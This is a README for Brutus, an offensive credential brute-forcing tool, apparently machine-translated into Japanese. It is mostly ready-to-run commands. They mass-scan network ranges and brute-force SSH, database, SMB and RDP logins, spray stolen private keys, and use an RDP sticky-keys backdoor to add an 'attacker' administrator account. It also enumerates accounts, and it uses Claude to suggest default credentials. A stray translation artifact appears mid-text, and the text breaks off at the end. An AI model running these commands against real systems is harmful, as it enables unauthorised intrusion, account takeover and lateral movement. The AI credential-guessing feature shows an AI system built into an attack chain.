
高速で依存関係ゼロのGo製認証情報テストツール。SSH、MySQL、PostgreSQL、Redis、MongoDB、SMB、および20以上のプロトコルへのブルートフォース攻撃。Hydraの代替で、nerva/naabuパイプラインとのネイティブ統合を特徴とする。
"Et tu, Brute?" — 認証情報が陥落する前の最後の言葉。
純粋なGoで書かれた最新の認証情報テストツール
インストール • クイックスタート • パイプライン • プロトコル • 列挙 • プロキシ • ライブラリ
Brutusは、攻撃的セキュリティツールにおける重要なギャップ、つまり多様なネットワークサービスにわたる効率的な認証情報検証に対処するために設計された、マルチプロトコル認証テストツールです。HTTPに特化したツールは豊富にありますが、ペネトレーションテスターやレッドチームオペレーターは、データベース、SSH、SMB、その他のネットワークサービスに頻繁に直面し、それらには専用の認証テスト機能が必要です。
Goで単一バイナリとして、外部依存関係ゼロで構築されたBrutusは、Nervaとシームレスに統合し、自動サービスディスカバリを実現することで、オペレーターがネットワーク全体の認証ベクターを迅速に特定・テストできるようにします。
主な機能:
--proxyですべてのトラフィックをSOCKS5プロキシ経由でルーティング--mode cautious|default|aggressiveTHC Hydraのような従来のツールはセキュリティコミュニティに貢献してきましたが、複雑な依存関係チェーン、プラットフォーム固有のコンパイル問題、最新の偵察ワークフローとのネイティブ統合の欠如といった大きな摩擦があります。
Brutusは現代の攻撃的セキュリティのために設計されています。
真の依存関係ゼロデプロイ: 単一のバイナリをダウンロードして実行。libssh-devもlibmysqlclient-devもコンパイルエラーもありません。Linux、macOS、Windowsで同一に動作します。
ネイティブパイプライン統合: BrutusはJSONを話し、Nerva、naabu、nmap、masscanと直接統合します。発見されたサービスをフォーマット変換やスクリプトなしでそのまま認証テストにパイプします。
組み込みインテリジェンス: 既知のSSH悪意あるキー(Vagrant、F5 BIG-IP、ExaGridなど)がバイナリにコンパイルされています。brutus badkeysを使用してSSHターゲットに対してテストします。
ライブラリファースト設計: Brutusを直接Goセキュリティツールにインポート。外部プロセスにシェルアウトせずにカスタム自動化を構築します。```bash
naabu -host 10.0.0.0/24 -p 22,3306,5432,6379 -silent | nerva --json | brutus creds --json
naabu -host 10.0.0.0/24 -p 22,3306,5432,6379 -silent | nerva | brutus creds
---
## ユースケース
### ペネトレーションテスト
- 内部評価中に発見された認証情報を複数のサービスで検証する
- データベースとファイル共有サービス間のパスワード再利用パターンをテストする
- 新しくデプロイされたインフラストラクチャ上のデフォルト認証情報を特定する
### レッドチーム運用
- パスワードダンプやフィッシングキャンペーン後の迅速な認証情報検証
- ネットワークサービス間のラテラルムーブメントの機会をテストする
- 異種環境全体で侵害された認証情報を検証する
### 秘密鍵のスプレー攻撃
侵害されたシステムで秘密鍵を見つけましたか?それをネットワーク全体にスプレーして、他にどこでアクセスが許可されているかを調べましょう:```bash
# Discover SSH services and spray a found private key
naabu -host 10.0.0.0/24 -p 22 -silent | \
nerva --json | \
brutus creds -u root,admin,ubuntu,deploy -k /path/to/found_key --json
このパイプラインはすべてのSSHサービスを発見し、Nervaで識別した後、侵害されたキーを一般的なユーザー名に対してテストします。これにより、横方向の移動の機会を数秒で明らかにします。
HTTPサービスを発見し、AIを利用した検出または手動の認証情報リストを使用して認証情報をテストします。```bash
naabu -host 10.0.0.0/24 -p 80,443,3000,8080,9090 -silent |
nerva --json |
brutus web --experimental-ai --json
naabu -host 10.0.0.0/24 -p 80,443,8080 -silent |
nerva --json |
brutus web -c "admin:admin,root:password" --json
naabu -host 10.0.0.0/24 -p 80,443,8080 -silent |
nerva --json |
brutus web --json
### セキュリティ検証
- 新しくデプロイされたサービスでデフォルト認証情報をテスト
- プラットフォーム全体でのパスワードポリシーの適用を検証
- コンプライアンスとセキュリティ評価のための監査証跡を生成
---
## インストール
### 事前ビルドバイナリ(推奨)
以下からダウンロード:[GitHub Releases](https://github.com/praetorian-inc/brutus/releases):```bash
# Linux (amd64)
curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-linux-amd64.tar.gz | tar xz
sudo mv brutus /usr/local/bin/
# macOS (Apple Silicon)
curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-darwin-arm64.tar.gz | tar xz
sudo mv brutus /usr/local/bin/
# macOS (Intel)
curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-darwin-amd64.tar.gz | tar xz
sudo mv brutus /usr/local/bin/
# Windows (PowerShell)
Invoke-WebRequest -Uri https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-windows-amd64.zip -OutFile brutus.zip
Expand-Archive -Path brutus.zip -DestinationPath .
Remove-Item brutus.zip
```
### Goのインストール```bash
go install github.com/praetorian-inc/brutus/cmd/brutus@latest
```
## クイックスタート
### サブコマンド
Brutusはその機能を6つの特化したサブコマンドに整理しています:```bash
brutus creds # Non-HTTP credential auditing (SSH, databases, SMB, etc.)
brutus web # HTTP/web panel auditing (Basic Auth, form login, AI-powered)
brutus snmp # SNMP community string testing
brutus badkeys # Known weak/compromised SSH key testing
brutus logon # Windows logon-screen backdoor detection (sticky keys, utilman)
brutus enum # Account enumeration (account-existence oracles, Kerberos, Teams auth, email generation)
```
各サブコマンドには発見性のためのエイリアスがあります:
| Subcommand | Aliases |
|------------|---------|
| `creds` | `services`, `defaults`, `credentials` |
| `web` | `http`, `panels` |
| `snmp` | `community` |
| `badkeys` | `keys`, `ssh-keys`, `badkey` |
| `logon` | `stickykeys`, `sticky-keys`, `utilman`, `sethc`, `winlogon`, `accessibility` |
| `enum` | *(なし)* |```bash
# Test SSH credentials
brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor
# Test HTTP web panel with AI credential detection
brutus web --target 192.168.1.1:80 --experimental-ai
# Test HTTP web panel with manual credentials
brutus web --target 192.168.1.1:80 -c "admin:admin,root:toor"
# Test SNMP community strings
brutus snmp --target 192.168.1.1:161 --mode aggressive
# Detect Windows logon-screen backdoors
brutus logon --target 10.0.0.50:3389
# Pipeline mode: creds skips HTTP/SNMP, web skips non-HTTP, snmp skips non-SNMP
naabu -host 10.0.0.0/24 -silent | nerva --json | brutus creds -P passwords.txt
naabu -host 10.0.0.0/24 -p 80,443,8080 -silent | nerva --json | brutus web --experimental-ai
naabu -host 10.0.0.0/24 -p 161 -silent | nerva --json | brutus snmp --mode aggressive
```
### 基本的な使い方```bash
# Test SSH with default credentials
brutus creds --target 192.168.1.100:22 --protocol ssh
# Test with specific credentials
brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor
# Test with username and password lists
brutus creds --target 192.168.1.100:22 --protocol ssh -U users.txt -P passwords.txt
# Test MySQL database
brutus creds --target 192.168.1.100:3306 --protocol mysql -u root -p password
# Test SSH with a specific private key
brutus creds --target 192.168.1.100:22 --protocol ssh -u deploy -k /path/to/id_rsa
# Increase threads for faster testing
brutus creds --target 192.168.1.100:22 --protocol ssh -t 20
# JSON output for scripting
brutus creds --target 192.168.1.100:22 --protocol ssh --json
```
### 出力例```
$ brutus creds --target 192.168.1.100:22 --protocol ssh -u root,admin -p toor,password,admin
[+] VALID: ssh root:toor @ 192.168.1.100:22 (1.23s)
```
冗長モード(`-v`):```
$ brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p password,toor -v
[-] FAILED: ssh root:password @ 192.168.1.100:22 (0.45s)
[+] VALID: ssh root:toor @ 192.168.1.100:22 (0.52s)
```
パイプライン統合用のJSON出力(成功した資格情報のみ出力):```
$ brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor --json
{"protocol":"ssh","target":"192.168.1.100:22","username":"root","password":"toor","duration":"1.234567ms","banner":"SSH-2.0-OpenSSH_8.9p1"}
```
---
## パイプライン統合
Brutus は **[Nerva](https://github.com/praetorian-inc/nerva)** および **[naabu](https://github.com/projectdiscovery/naabu)** とシームレスに統合し、完全なネットワーク偵察を実現します。
### 実際のシナリオ
#### シナリオ 1: 企業の /24 ネットワークのスキャン```bash
# Discover all open ports, identify services, test default credentials
naabu -host 10.10.10.0/24 -p 22,23,21,3306,5432,6379,27017,445 -silent | \
nerva --json | \
brutus creds --json -o results.json
# Same pipeline using Nerva's default URI output (no --json needed)
naabu -host 10.10.10.0/24 -p 22,23,21,3306,5432,6379,27017,445 -silent | \
nerva | brutus creds -o results.json
# Review findings (all output is successful credentials)
cat results.json | jq '.'
```
#### シナリオ2: ターゲットドメイン上でのバグバウンティの偵察```bash
# Full pipeline against a single target
naabu -host target.example.com -top-ports 1000 -silent | \
nerva --json | \
brutus creds
# Or scan a list of subdomains
cat subdomains.txt | naabu -silent | nerva --json | brutus creds
```
#### シナリオ3: 内部評価におけるデータベースハンティング```bash
# Find and test all databases in a range
naabu -host 192.168.0.0/16 -p 3306,5432,1433,27017,6379,9042 -silent | \
nerva --json | \
brutus creds -t 5 --json | \
tee database-findings.json
# Extract credentials in readable format
jq -r '"\(.target) \(.username):\(.password)"' database-findings.json
```
#### シナリオ4: インフラストラクチャ全体でのSSHキーテスト```bash
# Test embedded bad keys (Vagrant, F5 BIG-IP, ExaGrid, etc.) across a range
naabu -host 10.0.0.0/8 -p 22 -rate 1000 -silent | \
nerva --json | \
brutus badkeys --json -o ssh-key-findings.json
# Find systems using compromised SSH keys (key field is true)
cat ssh-key-findings.json | jq 'select(.key == true)'
```
#### シナリオ5: 対象サービス試験```bash
# Test only Redis instances found in the network
naabu -host 172.16.0.0/12 -p 6379 -silent | \
nerva --json | \
brutus creds
# Test only MongoDB with custom credentials
naabu -host 10.0.0.0/24 -p 27017 -silent | \
nerva --json | \
brutus creds -u admin,root,mongodb -p admin,password,mongodb
```
### スキャンツールのインポート (Nmap & Masscan)
Brutus は **nmap** および **masscan** のスキャン出力ファイルから直接ターゲットをインポートでき、フォーマット変換や中間ツールが不要になります。
#### Nmap XML インポート (`--nmap-file`)
nmap の XML 出力 (`-oX`) からターゲットをインポートします。Nmap はサービスのフィンガープリンティングを提供するため、Brutus は検出されたサービスを自動的に正しいプロトコルにマッピングします:```bash
# Run an nmap service scan
nmap -sV -oX scan.xml 10.0.0.0/24 -p 22,3306,5432,6379,445,3389
# Feed nmap results directly to Brutus
brutus creds --nmap-file scan.xml -P passwords.txt
# Test web services from nmap scan
brutus web --nmap-file scan.xml -c "admin:admin,root:password"
# Test SNMP from nmap scan
brutus snmp --nmap-file scan.xml --mode aggressive
# JSON output for scripting
brutus creds --nmap-file scan.xml --json -o results.json
```
Nmapのサービス名は自動的にBrutusのプロトコルにマッピングされます(例:`ms-wbt-server` → `rdp`、`microsoft-ds` → `smb`)。TLSはnmapの`tunnel="ssl"`属性から検出されます。起動しているホストの開いたポートのみがインポートされます。
#### Masscan JSON インポート (`--masscan-file`)
masscanのJSON出力(`-oJ`)からターゲットをインポートします。masscanはポートスキャナのみ(サービスフィンガープリンティングなし)であるため、`--protocol`を指定するか、BrutusにNervaで自動フィンガープリンティングを実行させる必要があります。```bash
# Run a masscan port scan
masscan 10.0.0.0/24 -p 22,3306,5432,6379 -oJ scan.json --rate 10000
# Test all discovered ports as SSH (when you know what's running)
brutus creds --masscan-file scan.json --protocol ssh -u root -P passwords.txt
# Auto-fingerprint with Nerva (when services are unknown)
brutus creds --masscan-file scan.json -P passwords.txt
```
#### 他のワークフローとの組み合わせ
`--nmap-file` および `--masscan-file` フラグはすべてのサブコマンドで動作し、`--target`、`--targets-file`、および標準入力とは相互に排他的です。```bash
# Scan for RDP backdoors from nmap results
brutus logon --nmap-file scan.xml
# Test SSH bad keys from nmap results
brutus badkeys --nmap-file scan.xml
# Override protocol for all masscan targets
brutus creds --masscan-file scan.json --protocol redis -p "redis,password"
```
### パイプライン入力形式
Brutusはstdinから複数の入力形式を受け付けます:
**Nerva JSON** (`nerva --json`):```bash
{"ip":"192.168.1.100","port":22,"protocol":"ssh","tls":false,"transport":"tcp","version":"OpenSSH_8.9p1"}
{"ip":"192.168.1.101","port":3306,"protocol":"mysql","tls":false,"transport":"tcp","version":"8.0.32"}
```
**Nerva URI** (デフォルトの Nerva 出力, `--json` は不要):```bash
# Nerva outputs URI-scheme lines by default
$ echo "github.com:22" | nerva
ssh://github.com:22 (20.205.243.166)
# Pipe directly to Brutus — protocol is extracted from the URI scheme
echo "10.0.0.1:22" | nerva | brutus creds
echo "10.0.0.0/24:3306" | naabu -silent | nerva | brutus creds
```
**ベアターゲット** (Nervaで自動フィンガープリント):```bash
echo "192.168.1.100:22" | brutus creds
```
Brutusは自動的に以下の処理を行います:
- JSON、URIスキーム、ベアターゲット形式を解析
- サービスをプロトコルにマッピング
- 適切なデフォルト認証情報をテスト
- 結果を対応するJSON形式で出力
### Pipeline Output Format
Brutusは成功した認証情報のみをJSONL形式(1行に1つのJSONオブジェクト)で出力します:```bash
# Brutus JSON output (with --json flag) - only successful authentications
{"protocol":"ssh","target":"192.168.1.100:22","username":"root","password":"toor","duration":"1.234567ms","banner":"SSH-2.0-OpenSSH_8.9p1"}
{"protocol":"mysql","target":"192.168.1.101:3306","username":"root","password":"","duration":"890.123µs"}
{"protocol":"ssh","target":"192.168.1.103:22","username":"vagrant","key":true,"duration":"2.345678ms","banner":"SSH-2.0-OpenSSH_9.6"}
```
**注記:** JSON 出力には認証失敗の試行は含まれません。`key` フィールドは、認証にパスワードの代わりに SSH 鍵が使用された場合に (`true` として) 表示されます。`llm_suggested` フィールドは、AI システム (`--experimental-ai`) によって資格情報が提案された場合に (`true` として) 表示されます。
---
## 比較
| 機能 | Hydra | Medusa | Ncrack | **Brutus** |
|---------|:-----:|:------:|:------:|:----------:|
| 単一バイナリ | ❌ | ❌ | ❌ | ✅ |
| 依存関係ゼロ | ❌ | ❌ | ❌ | ✅ |
| SOCKS5 プロキシ | ✅ | ❌ | ❌ | ✅ |
| Nerva パイプライン | ❌ | ❌ | ❌ | ✅ |
| Nmap/Masscan インポート | ❌ | ❌ | ❌ | ✅ |
| JSON ストリーミング | ⚠️ | ❌ | ❌ | ✅ |
| クロスプラットフォーム | ⚠️ | ⚠️ | ⚠️ | ✅ |
| 一貫したエラー | ⚠️ | ⚠️ | ⚠️ | ✅ |
| 積極的な開発 | ✅ | ⚠️ | ❌ | ✅ |
| 組み込みの不良鍵 | ❌ | ❌ | ❌ | ✅ |
| Go ライブラリのインポート | ❌ | ❌ | ❌ | ✅ |
---
## 対応プロトコル
Brutus は **27 のプロトコル** をサポートしています:
### ネットワークサービス
| プロトコル | ポート | 認証方法 | 用途 |
|----------|------|--------------|----------|
| SSH | 22 | パスワード, 秘密鍵 | サーバー, ネットワーク機器 |
| FTP | 21 | パスワード | ファイルサーバー, NAS デバイス |
| Telnet | 23 | パスワード | レガシーシステム, IoT デバイス |
| VNC | 5900 | パスワード | リモートデスクトップ |
| RDP | 3389 | NLA/CredSSP, パスワード | Windows サーバー, ワークステーション |
| SNMP | 161 | コミュニティ文字列 | ネットワーク機器, プリンター |
### Web サービス
| プロトコル | ポート | 認証方法 | 用途 |
|----------|------|--------------|----------|
| HTTP | 80 | 基本認証 | 管理パネル (Grafana, Jenkins など) |
| HTTPS | 443 | 基本認証 | セキュアな管理パネル |
### エンタープライズインフラストラクチャ
| プロトコル | ポート | 認証方法 | 用途 |
|----------|------|--------------|----------|
| SMB | 445 | パスワード, NTLM | Windows ネットワーク, ファイル共有 |
| LDAP | 389/636 | バインド DN | Active Directory, アイデンティティ |
| WinRM | 5985/5986 | NTLM | Windows リモート管理 |
### データベース
| プロトコル | ポート | 認証方法 | 用途 |
|----------|------|--------------|----------|
| MySQL | 3306 | パスワード | Web アプリケーション |
| PostgreSQL | 5432 | パスワード | 最新のアプリケーション |
| MSSQL | 1433 | パスワード | エンタープライズアプリケーション |
| MongoDB | 27017 | パスワード | NoSQL バックエンド |
| Redis | 6379 | パスワード | キャッシング, セッション |
| Neo4j | 7687 | パスワード | グラフデータベース |
| Cassandra | 9042 | パスワード | 分散データベース |
| CouchDB | 5984 | HTTP 基本認証 | ドキュメントストア |
| Elasticsearch | 9200 | HTTP 基本認証 | 検索エンジン |
| InfluxDB | 8086 | HTTP 基本認証 | 時系列データ |
| Oracle | 1521 | パスワード | エンタープライズデータベース |
### コンテナ & オーケストレーション
| プロトコル | ポート | 認証方法 | 用途 |
|----------|------|--------------|----------|
| Docker | 2375/2376 | 未認証 | 露出した Docker デーモン |
| Kubernetes | 6443/10250 | 未認証 | 露出した K8s API/kubelet |
### 通信
| プロトコル | ポート | 認証方法 | 用途 |
|----------|------|--------------|----------|
| SMTP | 25/587 | パスワード | メールリレー |
| IMAP | 143/993 | パスワード | メールボックスアクセス |
| POP3 | 110/995 | パスワード | メールボックスアクセス |
---
## 組み込みの SSH 不良鍵
外部の鍵ファイルを必要としない単一バイナリでのデプロイメント。各鍵はスマートな資格情報マッピングのためにデフォルトのユーザー名とペアリングされており、CVE 追跡によりコンプライアンスクエリが可能です。
Brutus は、バイナリに組み込まれた **[rapid7/ssh-badkeys](https://github.com/rapid7/ssh-badkeys)** および **[Vagrant](https://github.com/hashicorp/vagrant)** の鍵コレクションを保持しています:```bash
# Test bad keys against a single target
brutus badkeys --target 192.168.1.100:22
# Pipeline mode: scan a range for compromised SSH keys
naabu -host 10.0.0.0/24 -p 22 -silent | nerva --json | brutus badkeys
# Test credentials (bad keys are NOT included in creds mode)
brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p "password"
```
### 組み込みキーコレクション
| 製品 | CVE | デフォルトユーザー | 説明 |
|---------|-----|--------------|-------------|
| Vagrant | - | vagrant, root | HashiCorp Vagrant の安全でないキー |
| F5 BIG-IP | CVE-2012-1493 | root | 静的SSHホストキー |
| ExaGrid | CVE-2016-1561 | root | バックアップアプライアンスのバックドア |
| Monroe DASDEC | CVE-2013-0137 | root | 緊急警報システム |
| Barracuda | CVE-2014-8428 | cluster | ロードバランサーVM |
| Ceragon FibeAir | CVE-2015-0936 | mateidu | ワイヤレスバックホール |
| Array Networks | - | sync | vAPV/vxAG アプライアンス |
| Quantum DXi | - | root | 重複排除アプライアンス |
| Loadbalancer.org | - | root | エンタープライズロードバランサー |
---
## 攻撃性モード
グローバル `--mode` フラグ (`-m`) は、すべてのサブコマンドにわたって攻撃性を制御します。これは、カバレッジと安全性のバランスをとるパフォーマンスチューニングプリセットを設定します。
| モード | スレッド数 | タイムアウト | レート制限 | ジッター | リトライ回数 | ユースケース |
|------|---------|---------|------------|--------|---------|----------|
| `cautious` | 5 | 15秒 | 2 req/s | 500ms | 1 | 本番環境、ロックアウト回避 |
| `default` | 10 | 10秒 | 無制限 | なし | 2 | 標準テスト |
| `aggressive` | 20 | 10秒 | 無制限 | なし | 3 | ラボ/CTF環境、最大カバレッジ |
モードプリセットが最初に適用され、その後、明示的なCLIフラグがあればそれらが優先されます。```bash
# Safe mode for production Active Directory (low concurrency, rate-limited)
brutus creds --target dc.corp.local:445 --protocol smb -m cautious -U users.txt -P passwords.txt
# Maximum coverage for a CTF
brutus creds --target 10.10.10.100:22 --protocol ssh -m aggressive -U users.txt -P rockyou.txt
# Cautious mode but override threads
brutus creds --target 192.168.1.100:22 --protocol ssh -m cautious --threads 20
```
SNMPの場合、モードは組み込みのワードリストの深さも制御します([SNMP Community String Testing](#snmp-community-string-testing)を参照)。
---
## SOCKS5 プロキシサポート
`--proxy` フラグは、すべての接続をSOCKS5プロキシ経由でルーティングします。これはすべてのプロトコルとサブコマンドで機能します:```bash
# Route SSH testing through a SOCKS5 proxy
brutus creds --target 10.0.0.100:22 --protocol ssh --proxy socks5://127.0.0.1:1080
# Proxy with authentication
brutus creds --target 10.0.0.100:3306 --protocol mysql --proxy socks5://user:[email protected]:1080
# DNS resolution on the proxy side (socks5h)
brutus creds --target internal.corp:22 --protocol ssh --proxy socks5h://127.0.0.1:1080
# Combine with pipeline input
naabu -host 10.0.0.0/24 -p 22,3306 -silent | nerva --json | brutus creds --proxy socks5://127.0.0.1:1080
# Works with all subcommands
brutus web --target 192.168.1.1:8080 --proxy socks5://127.0.0.1:1080
brutus snmp --target 192.168.1.1:161 --proxy socks5://127.0.0.1:1080
```
Supported schemes:
- `socks5://` — Standard SOCKS5 proxy (client-side DNS resolution)
- `socks5h://` — SOCKS5 with remote DNS resolution (useful when targeting internal hostnames)
---
## SNMPコミュニティ文字列テスト
`snmp`サブコマンドは、グローバル`--mode`フラグで制御される階層化されたワードリストを使用した、専用のSNMP v1/v2cコミュニティ文字列テストを提供します。
| モード | 文字列数 | カバレッジ |
|------|---------|----------|
| `cautious` | ~25 | 一般的な文字列(public, private, communityなど) |
| `default` | ~25 | cautiousと同じ |
| `aggressive` | 200+ | 包括的(ベンダー固有、SCADA、IPカメラ、ストレージなど) |```bash
# Test with default community strings (~25)
brutus snmp --target 192.168.1.1:161
# Aggressive mode for comprehensive testing (200+)
brutus snmp --target 10.0.0.1:161 --mode aggressive
# Custom community strings
brutus snmp --target 192.168.1.1:161 -c "mycommunity,secretstring"
# Custom community string file
brutus snmp --target 192.168.1.1:161 -C community-strings.txt
# Pipeline mode
naabu -host 10.0.0.0/24 -p 161 -silent | nerva --json | brutus snmp --mode aggressive
```
## ライブラリ統合
セキュリティ自動化ツールを構築する開発者向けに、Brutus は Go ライブラリとしてインポートすることもできます:```bash
go get github.com/praetorian-inc/brutus
```
[No input text provided to translate.]```go
package main
import (
"fmt"
"time"
"github.com/praetorian-inc/brutus/pkg/brutus"
_ "github.com/praetorian-inc/brutus/pkg/builtins" // registers all protocols and analyzers
)
func main() {
config := &brutus.Config{
Target: "192.168.1.100:22",
Protocol: "ssh",
Usernames: []string{"root", "admin"},
Passwords: []string{"password", "admin", "toor"},
Timeout: 5 * time.Second,
Threads: 10,
}
results, err := brutus.Brute(config)
if err != nil {
panic(err)
}
for _, r := range results {
if r.Success {
fmt.Printf("[+] Valid: %s:%s\n", r.Username, r.Password)
}
}
}
```
---
## 実験的: AIを活用した認証情報検出
> **⚠️ 実験的機能:** AI機能には外部APIキーが必要で、現在活発に開発中です。
### `--experimental-ai` フラグ
`--experimental-ai` フラグは、HTTPサービスに対する自動認証情報検出を有効にします:```bash
# Set up API keys
export ANTHROPIC_API_KEY="your-anthropic-key" # Required: Claude Vision for device identification
export PERPLEXITY_API_KEY="your-perplexity-key" # Optional: additional web search
# AI-powered credential testing against HTTP services
naabu -host 192.168.1.0/24 -p 80,443,8080 -silent | \
nerva --json | \
brutus web --experimental-ai
```
**仕組み:**
1. **検出** — BrutusがHTTPターゲットをプローブし、認証タイプ(Basic認証 vs フォームベース)を検出
2. **デバイス識別** — Claude Visionがスクリーンショットを分析し、デバイス/アプリケーションを特定
3. **認証情報候補の提示** — Claudeが学習データからデフォルト認証情報を提案
4. **オプションのWeb検索** — Perplexity(設定されている場合)が追加の認証情報をオンラインで検索
5. **テスト** — 発見された認証情報をターゲットに対してテスト
**HTTP Basic認証ターゲットの場合:**
- `/` をプローブしてHTTPヘッダーを取得
- Serverヘッダー、WWW-Authenticate realmなどからデバイスを特定
- Claudeがデフォルト認証情報の候補を提案
- 認証情報ペアを自動的にテスト
**HTTPフォームベース認証ターゲットの場合:**
- ヘッドレスChromeを使用してページをレンダリングしスクリーンショットを取得
- Claude Visionがログインフォーム、デバイスタイプを特定し、認証情報を提案
- Perplexity(オプション)が追加のデフォルト認証情報を検索
- ブラウザ自動化でフォームを入力・送信
**必要条件:**
- `ANTHROPIC_API_KEY` — **必須**(Claude Visionによるデバイス識別+認証情報提案)
- `PERPLEXITY_API_KEY` — *任意*(追加のWeb検索リサーチ用)
- Chrome/Chromiumがインストールされていること(フォームベース認証のみ)
**非HTTPプロトコル(SSH、MySQLなど)は `--experimental-ai` の影響を受けません** — 標準の認証情報テストを継続します。
---
## RDP: スティッキーキーバックドアの検出と悪用
BrutusはRDPターゲットに対する**スティッキーキーバックドア**(MITRE ATT&CK [T1546.008](https://attack.mitre.org/techniques/T1546/008/))の自動検出を含みます。この事前認証チェックは非NLAのRDPターゲットで実行されます — 認証情報は不要です。
**仕組み:**
1. RDPターゲットに接続し、非NLAセッションをネゴシエート
2. ベースラインとしてログイン画面のビットマップを取得
3. Shiftキーを5回送信(スティッキーキートリガー)
4. 応答ビットマップを取得
5. ヒューリスティック分析により、ターミナルウィンドウ(cmd.exe、PowerShellなど)が表示されたかどうかを検出
6. オプションでClaude Vision APIによる確認(`ANTHROPIC_API_KEY` が設定されている場合)```bash
# Detection only — no brute force
brutus logon --target 10.0.0.50:3389
# Detection + Vision API confirmation
brutus logon --target 10.0.0.50:3389 --experimental-ai
```
**検出のみモード:** `logon`サブコマンドは、ブルートフォースなしでスティッキーキーとutilmanバックドアの検出を実行します:```bash
# Detection only (no brute force)
brutus logon --target 10.0.0.50:3389
```
**検出出力:**```
[CRITICAL] Sticky keys backdoor CONFIRMED (confidence: 85%)
sethc.exe has been replaced with cmd.exe or similar.
SYSTEM-level unauthenticated access available via 5x Shift.
```
### バックドアを介したコマンド実行 (`--exec`)
バックドアが検出されたら、事前認証コマンドプロンプトを介してリモートシステム上でコマンドを実行します。```bash
# Execute a single command via the backdoor
brutus logon --target 10.0.0.50:3389 --exec "whoami"
# Add a local admin account
brutus logon --target 10.0.0.50:3389 \
--exec "net user attacker P@ssw0rd /add && net localgroup administrators attacker /add"
```
これにより、接続、バックドアのトリガー、コマンドの入力、Enterキーの押下、出力待機、結果のPNGスクリーンショット保存が行われます。
### インタラクティブWebターミナル (`--web`)
バックドアのコマンドプロンプトとライブ対話するためのブラウザベースのRDPビューアを起動します:```bash
# Start interactive web terminal
brutus logon --target 10.0.0.50:3389 --web
```
これにより、ローカルHTTPサーバーが起動します:
- **ライブ画面ストリーミング** 約10FPS(WebSocket経由のJPEG)
- **フルキーボード転送**(ブラウザのKeyboardEventからマッピングされたPS/2スキャンコード)
- **マウスサポート**(クリック、移動、右クリック)
- **接続ステータス** 切断時のオーバーレイと再接続ボタン付き
表示されたURL(例:`http://127.0.0.1:<port>`)を任意のブラウザで開き、リモートRDPセッションを操作します。サーバー側のアイドルタイムアウトによってセッションが切断された場合は、**再接続**をクリックして新しいセッションを確立します。
> **注:** NLA非対応のRDPセッションにはサーバー側のアイドルタイムアウトがあります(Windowsのデフォルトは構成により異なり、通常はグループポリシー `Computer Configuration > Administrative Templates > Remote Desktop Services > Session Time Limits` で制御されます)。テスト対象のタイムアウトを延長するには、レジストリで `MaxIdleTime` を `0` に設定します:
>
> ```
> HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services\MaxIdleTime = 0 (DWORD)
> ```
**B-TP(良性真陽性)に関する考慮事項:** バックドアの置き換えは、パスワード回復手順の忘れや、許可された侵入テストの成果物を示す場合もあります。
### 大規模RDPスキャンパイプライン
大規模な評価では、`logon`サブコマンドが複数のターゲットに対してバックドア検出を実行します。パイプライン入力、ターゲットファイル、またはnmap/masscanのインポートを受け付けます — RDPサービスのみがテストされます:```bash
# Scan a /24 for sticky keys and utilman backdoors
naabu -host 10.0.0.0/24 -p 3389 -silent | \
nerva --json | \
brutus logon --json -o rdp-findings.json
# Scan from nmap results
brutus logon --nmap-file scan.xml --json -o rdp-findings.json
# Scan from targets file
brutus logon --targets-file rdp-targets.txt --json
# Extract critical findings
jq 'select(.finding == "[CRITICAL]")' rdp-findings.json
```
**技術的実装:** RDPプロトコルサポートは、[IronRDP](https://github.com/Devolutions/IronRDP)(Rust)をWebAssemblyにコンパイルし、[wazero](https://github.com/tetratelabs/wazero)を介して実行することで、BrutusのゼロCGO、シングルバイナリ設計を維持しています。
---
## アカウント列挙
`enum`サブコマンドは、組織で機能するアカウント存在オラクルを列挙し(それらに対してメールを列挙する)、またはActive Directoryユーザーを列挙します。すべてパスワードを送信せずに行います。
### アカウント存在オラクルの列挙
認証されていないアカウント存在オラクル(microsoft365、google、github、およびMicrosoft Teamsオラクル)のうち、組織で機能するものを特定し、既知の有効なユーザーに対して検証し、機能するオラクルに対して候補メールを列挙します。DNS TXT偵察により候補オラクルが明らかになります。`--known-valid`に対する検証が注目点です。`--known-valid`は必須であり、列挙はそれを確認したオラクルに対してのみ実行されます。```bash
# Discover candidate oracles via DNS and report which ones work
brutus enum active oracles --domain example.com --known-valid [email protected]
# Enumerate specific emails against the working oracles
brutus enum active oracles --domain example.com -e [email protected],[email protected] --known-valid [email protected]
# Enumerate emails from file
brutus enum active oracles --domain example.com -E emails.txt --known-valid [email protected]
# Generate emails from embedded name lists and enumerate against working oracles
brutus enum active oracles --domain example.com --generate --format flast --known-valid [email protected]
# Discover working oracles with a known-valid email before large-scale enumeration
brutus enum active oracles discover --domain example.com --known-valid [email protected]
```
### Kerberos ユーザ列挙
Active Directory のユーザ名を Kerberos AS-REQ 経由で列挙します(パスワードは送信されず、ロックアウトのリスクなし):```bash
# Enumerate specific users
brutus enum active kerberos --dc 10.0.0.1 --domain CORP.LOCAL -u administrator,guest,krbtgt
# Enumerate from file
brutus enum active kerberos --dc dc01.corp.local --domain CORP.LOCAL -U users.txt
# Generate usernames and pipe to Kerberos enum
brutus enum generate --format flast | brutus enum active kerberos --dc 10.0.0.1 --domain CORP.LOCAL -U -
```
### メール/ユーザー名の生成
埋め込まれた名/姓のワードリストからメールアドレスまたはユーザー名を生成します:```bash
# Generate emails: [email protected]
brutus enum generate --domain example.com --format flast
# Generate usernames only (no domain): jsmith
brutus enum generate --format flast
# Available formats: first.last, flast, firstl, f.last, lastf, last.first, lastfirst, first
brutus enum generate --domain example.com --format first.last
```
---
### Hunter.io Domain Search
Hunter.io Domain Search APIを介して、ドメインに関連する人物(メール、名前、役職、電話番号、部署、役割、確信度)を発見します。全ての結果が取得されるまで自動的にページネーションを行います。```bash
# Requires a Hunter.io API key — set via env var (preferred, keeps key out of process list)
export HUNTER_API_KEY=your_key_here
# Discover people for a domain
brutus enum hunter --domain example.com
# Provide the key explicitly (visible in process list and shell history — prefer HUNTER_API_KEY)
brutus enum hunter --domain example.com --api-key your_key_here
# JSONL output to file (one record per person, with type:"hunter" discriminator)
